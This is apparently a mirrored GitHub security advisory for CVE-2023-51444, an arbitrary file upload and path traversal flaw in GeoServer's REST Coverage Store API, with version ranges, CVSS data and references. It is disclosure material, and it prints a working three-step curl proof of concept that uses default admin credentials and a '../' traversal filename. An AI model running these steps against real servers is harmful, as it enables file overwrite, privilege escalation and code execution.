GHSA-9V5Q-2GWQ-Q9HQ
Vulnerability from github – Published: 2024-03-20 14:54 – Updated: 2024-03-20 15:43Summary
An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.
Details
Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.
PoC
Step 1 (create sample coverage store): curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic" Step 2 (switch store to absolute URL): curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"file:///{absolute path to data directory}/data/sf/filewrite" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite" Step 3 (upload arbitrary files): curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write" Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).
Impact
This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges.
References
https://osgeo-org.atlassian.net/browse/GEOS-11176 https://github.com/geoserver/geoserver/pull/7222
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.geoserver:gs-platform"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.23.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.geoserver:gs-restconfig"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.23.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.geoserver:gs-platform"
},
"ranges": [
{
"events": [
{
"introduced": "2.24.0"
},
{
"fixed": "2.24.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.24.0"
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.geoserver:gs-restconfig"
},
"ranges": [
{
"events": [
{
"introduced": "2.24.0"
},
{
"fixed": "2.24.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.24.0"
]
}
],
"aliases": [
"CVE-2023-51444"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-20T14:54:59Z",
"nvd_published_at": "2024-03-20T15:15:07Z",
"severity": "HIGH"
},
"details": "### Summary\nAn arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.\n\n### Details\nCoverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.\n\n### PoC\nStep 1 (create sample coverage store):\ncurl -vXPUT -H\"Content-type:application/zip\" -u\"admin:geoserver\" --data-binary @polyphemus.zip \"http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic\"\nStep 2 (switch store to absolute URL):\ncurl -vXPUT -H\"Content-Type:application/xml\" -u\"admin:geoserver\" -d\"\u003ccoverageStore\u003e\u003curl\u003efile:///{absolute path to data directory}/data/sf/filewrite\u003c/url\u003e\u003c/coverageStore\u003e\" \"http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite\"\nStep 3 (upload arbitrary files):\ncurl -vH\"Content-Type:\" -u\"admin:geoserver\" --data-binary @file/to/upload \"http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write\"\nSteps 1 \u0026 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).\n\n### Impact\nThis vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges.\n\n### References\nhttps://osgeo-org.atlassian.net/browse/GEOS-11176\nhttps://github.com/geoserver/geoserver/pull/7222\n",
"id": "GHSA-9v5q-2gwq-q9hq",
"modified": "2024-03-20T15:43:58Z",
"published": "2024-03-20T14:54:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/geoserver/geoserver/security/advisories/GHSA-9v5q-2gwq-q9hq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51444"
},
{
"type": "WEB",
"url": "https://github.com/geoserver/geoserver/pull/7222"
},
{
"type": "WEB",
"url": "https://github.com/geoserver/geoserver/commit/ca683170c669718cb6ad4c79e01b0451065e13b8"
},
{
"type": "WEB",
"url": "https://github.com/geoserver/geoserver/commit/fe235b3bb1d7f05751a4a2ef5390c36f5c9e78ae"
},
{
"type": "PACKAGE",
"url": "https://github.com/geoserver/geoserver"
},
{
"type": "WEB",
"url": "https://osgeo-org.atlassian.net/browse/GEOS-11176"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Arbitrary file upload vulnerability in GeoServer\u0027s REST Coverage Store API"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.